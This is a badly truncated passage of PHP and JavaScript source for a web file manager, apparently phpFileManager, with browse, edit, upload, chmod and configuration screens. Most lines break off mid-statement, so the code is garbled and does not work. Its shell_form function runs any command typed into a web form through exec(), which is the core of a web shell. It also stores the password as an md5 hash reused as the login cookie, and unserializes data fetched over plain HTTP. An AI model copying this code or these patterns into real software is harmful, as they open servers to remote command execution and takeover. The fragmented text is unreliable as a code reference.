function edit_file(arg){
if(confirm('".strtoupper(et('Edit'))." \\' '+arg+'
var w = 600;
var h = 400;
window.open('".$path_info["basename"]."?action=2',
function server_info(arg){
window.open('".$path_info["basename"]."?action=5',
function shell(){
window.open('".$path_info["basename"]."?action=9',
function view(arg){
if(confirm('".strtoupper(et('View'))." \\' '+arg+'
function rename(arg){
var nome = '';
if (nome = prompt('".strtoupper(et('Ren'))." \\' '
function set_dir_dest(arg){
document.form_action.dir_dest.value=arg;
if (document.form_action.action.value.length>0) te
else alert('".et('JSError').".');
function sel_dir(arg){
document.form_action.action.value = arg;
document.form_action.dir_dest.value='';
if (!is_anything_selected()) alert('".et('NoSel').
if (!getCookie('sel_dir_warn')) {
alert('".et('SelDir').".');
document.cookie='sel_dir_warn'+'='+escape('true')+
parent.frame2.set_flag(true);
function set_chmod_arg(arg){
document.form_action.chmod_arg.value=arg;
else alert('".et('JSError')."');
function chmod(arg){
document.form_action.chmod_arg.value='';
var w = 280;
var h = 180;
window.open('".$path_info["basename"]."?action=8',
function test_action(){
if (document.form_action.action.value != 0) return
else return false;
function test_prompt(arg){
var erro='';
var conf='';
if (arg == 1){
document.form_action.cmd_arg.value = prompt('".et(
} else if (arg == 2){
document.form_action.cmd_arg.value = prompt('".et(
} else if (arg == 71){
if (!is_anything_selected()) erro = '".et('NoSel')
else document.form_action.cmd_arg.value = prompt('
if (erro!=''){
document.form_action.cmd_arg.focus();
alert(erro);
} else if(document.form_action.cmd_arg.value.lengt
function strstr(haystack,needle){
var index = haystack.indexOf(needle);
return (index==-1)?false:index;
function valid_dest(dest,orig){
return (strstr(dest,orig)==false)?true:false;
// ArrayAlert - Selection debug only
function aa(){
var str = 'selected_dir_list:\\n';
for (x=0;x
str += selected_dir_list[x]+'\\n';
str += '\\nselected_file_list:\\n';
for (x=0;x
str += selected_file_list[x]+'\\n';
alert(str);
function test(arg){
if (arg == 4){
if (!is_anything_selected()) erro = '".et('NoSel')
conf = '".et('RemSel')." ?\\n';
} else if (arg == 5){
else if(document.form_action.dir_dest.value.length
else if(document.form_action.dir_dest.value == doc
else if(!valid_dest(document.form_action.dir_dest.
conf = '".et('CopyTo')." \\' '+document.form_actio
} else if (arg == 6){
conf = '".et('MoveTo')." \\' '+document.form_actio
} else if (arg == 9){
else if(document.form_action.chmod_arg.value.lengt
conf = '".et('AlterPermTo')." \\' '+document.form_
} else if(conf!='') {
if(confirm(conf)) {
";
$ip
";
if ($dir_atual != $fm_root_atual){
$mat = explode("/",$dir_atual);
$dir_antes = "";
for($x=0;$x<(count($mat)-2);$x++) $dir_antes .= $m
$uplink = "
$upli
if ($islinux) $out .= "
$dir_out="";
$file_out="";
foreach ($entry_list as $ind=>$dir_entry) {
$file = $dir_entry["name"];
if ($dir_entry["type"]=="dir"){
$dir_out .= "
<
".$dir_entry
if ($islinux) $dir_out .= "
".$dir_entry
".$dir_entry
if ($file_count) $dir_out .= "
// Opções de diretório
if ( is_writable($dir_atual.$file) ) $dir_out .= "
";
$file_out .= "
".$dir_entr
if ($islinux) $file_out .= "
".$dir_entr
".$dir_entr
".$dir_entr
// Opções de arquivo
if ( is_writable($dir_atual.$file) ) $file_out .=
if ( is_readable($dir_atual.$file) && (strpos(".wa
if ( is_readable($dir_atual.$file) && strlen($dir_
if( $is_reachable && is_readable($dir_atual.$file)
$file_out .= "
";
$out .= $dir_out;
if ($entry_count){
if ($islinux) $out .= "
if ($file_count) $out .= "
";
$out .= $file_out;
";
$dir_count
if ($quota_mb) {
".et('Parti
".et('Parti
$tf = getmicrotime();
$tt = ($tf - $ti);
".et('Rende
$uplink
".et('Empty
} else $out .= "
".et('IOEr
$out .= "
";
echo $out;
function upload_form(){
global $_FILES,$dir_atual,$dir_dest,$fechar,$quota
$num_uploads = 5;
echo ""
if (count($_FILES)==0){
".et('Upload')."
".et('Destination').":
<
for ($x=0;$x<$num_uploads;$x++){
echo "
".et('File').
$test_js .= "(document.upload_form.file$x.value.le
function troca(){
if(document.upload_form.fechar.checked){document.u
foi = false;
function test_upload_form(){
if(".substr($test_js,0,strlen($test_js)-2)."){
if (foi) alert('".et('SendingForm')."...');
foi = true;
document.upload_form.submit();
} else alert('".et('NoFileSel').".');
window.moveTo((window.screen.width-400)/2,((window
$out = "
".et('UploadEnd')."
".et('Destination').": $di
$temp_file = $_FILES["file".$x]["tmp_name"];
$filename = $_FILES["file".$x]["name"];
if (strlen($filename)) $resul = save_upload($temp_
else $resul = 7;
switch($resul){
case 1:
$out .= "
".strzero($x+1,3).".
case 2:
$out .= "
".et
$x = $upload_num;
case 3:
$out .= "
".et
case 4:
$out .= "
".strzero($x+1,3).".
case 5:
$out .= "
".strzero($x+1,3).".
case 6:
$out .= "
".strzero($x+1,3).".
case 7:
$out .= "
".strzero($x+1,3).".
if ($fechar) {
window.close();
$out
window.focus();
function chmod_form(){
$aux = "
function octalchange()
{
var val = document.chmod_form.t_total.value;
var stickybin = parseInt(val.charAt(0)).toString(2
var ownerbin = parseInt(val.charAt(1)).toString(2)
while (ownerbin.length<3) { ownerbin=\"0\"+ownerbi
var groupbin = parseInt(val.charAt(2)).toString(2)
while (groupbin.length<3) { groupbin=\"0\"+groupbi
var otherbin = parseInt(val.charAt(3)).toString(2)
while (otherbin.length<3) { otherbin=\"0\"+otherbi
document.chmod_form.sticky.checked = parseInt(stic
document.chmod_form.owner4.checked = parseInt(owne
document.chmod_form.owner2.checked = parseInt(owne
document.chmod_form.owner1.checked = parseInt(owne
document.chmod_form.group4.checked = parseInt(grou
document.chmod_form.group2.checked = parseInt(grou
document.chmod_form.group1.checked = parseInt(grou
document.chmod_form.other4.checked = parseInt(othe
document.chmod_form.other2.checked = parseInt(othe
document.chmod_form.other1.checked = parseInt(othe
calc_chmod(1);
};
function calc_chmod(nototals)
var users = new Array(\"owner\", \"group\", \"othe
var totals = new Array(\"\",\"\",\"\");
var syms = new Array(\"\",\"\",\"\");
for (var i=0; i
var user=users[i];
var field4 = user + \"4\";
var field2 = user + \"2\";
var field1 = user + \"1\";
var symbolic = \"sym_\" + user;
var number = 0;
var sym_string = \"\";
var sticky = \"0\";
var sticky_sym = \" \";
if (document.chmod_form.sticky.checked){
sticky = \"1\";
sticky_sym = \"t\";
if (document.chmod_form[field4].checked == true) {
if (document.chmod_form[field2].checked == true) {
if (document.chmod_form[field1].checked == true) {
sym_string += \"r\";
sym_string += \"-\";
sym_string += \"w\";
sym_string += \"x\";
totals[i] = totals[i]+number;
syms[i] = syms[i]+sym_string;
if (!nototals) document.chmod_form.t_total.value =
document.chmod_form.sym_total.value = syms[0] + sy
if(document.chmod_form.sticky.checked){document.ch
window.onload=octalchange
html_header($aux);
echo "
".et('Perms')."
\n";
function view(){
global $doc_root,$path_info,$url_info,$dir_atual,$
window.moveTo((window.screen.width-800)/2,((window
if ($is_reachable){
$url = $url_info["scheme"]."://".$url_info["host"]
if (strlen($url_info["port"])) $url .= ":".$url_in
// Malditas variaveis de sistema!! No windows doc_
$url .= str_replace($doc_root,"",$dir_atual).$file
document.location.href='$url';";
alert('".et('OutDocRoot').":\\n".$doc_root."\\n');
window.close();";
function edit_file_form(){
global $dir_atual,$filename,$file_data,$save_file,
if ($save_file){
$fh=fopen($file,"w");
fputs($fh,$file_data,strlen($file_data));
$fh=fopen($file,"r");
$file_data=fread($fh, filesize($file));
".$file."
window.moveTo((window.screen.width-800)/2,((window
function go_save(){";
if (is_writable($file)) {
document.edit_form.submit();";
if(confirm('".et('ConfTrySave')." ?')) document.ed
function config_form(){
global $cfg;
global $dir_atual,$script_filename,$doc_root,$path
global $config_action,$newsenha,$newlang,$newerror
$Warning = "";
switch ($config_action){
if ($fh = fopen("http://phpfm.sf.net/latest.php","
$data = "";
while (!feof($fh)) $data .= fread($fh,1024);
$data = unserialize($data);
$ChkVerWarning = "
";
if (is_array($data)&&count($data)){
// sf.net logo
$ChkVerWarning .= "
if (str_replace(".","",$data['version'])>str_repla
else $ChkVerWarning .= "
".et('
} else $ChkVerWarning .= "
".et
$reload = false;
if ($cfg->data['lang'] != $newlang){
$cfg->data['lang'] = $newlang;
$lang = $newlang;
$reload = true;
if ($cfg->data['error_reporting'] != $newerror){
$cfg->data['error_reporting'] = $newerror;
$error_reporting = $newerror;
$newfm_root = formatpath($newfm_root);
if ($cfg->data['fm_root'] != $newfm_root){
$cfg->data['fm_root'] = $newfm_root;
if (strlen($newfm_root)) $dir_atual = $newfm_root;
else $dir_atual = $path_info["dirname"]."/";
setcookie("fm_root_atual", $newfm_root , 0 , "/");
$cfg->save();
if ($reload){
reloadframe("window.opener.parent",2);
reloadframe("window.opener.parent",3);
$Warning1 = et('ConfSaved')."...";
if ($cfg->data['auth_pass'] != md5($newsenha)){
$cfg->data['auth_pass'] = md5($newsenha);
setcookie("loggedon", md5($newsenha) , 0 , "/");
$Warning2 = et('PassSaved')."...";
".strtoupper(et(
".et('Version')."
".et('Size').":
".getsize($
".et('Website').":
if (strlen($ChkVerWarning)) echo $ChkVerWarning.$d
else echo "
".et('DocRoot').
".et('FLRoot').":
".et('Lang').":
".et('ErrorReport').":
if (strlen($Warning1)) echo "
$War
".et('Pass').":
if (strlen($Warning2)) echo "
$War
function set_select(sel,val){
for(var x=0;x
if(sel.options[x].value==val){
sel.options[x].selected=true;
set_select(document.config_form.newlang,'".$cfg->d
set_select(document.config_form.newerror,'".$cfg->
function test_config_form(arg){
document.config_form.config_action.value = arg;
document.config_form.submit();
function open_win(url){
window.open(url, '', 'width='+w+',height='+h+',ful
window.moveTo((window.screen.width-600)/2,((window
function shell_form(){
global $dir_atual,$shell_form,$cmd_arg,$path_info;
$data_out = "";
if (strlen($cmd_arg)){
exec($cmd_arg,$mat);
if (count($mat)) $data_out = trim(implode("\n",$ma
switch ($shell_form){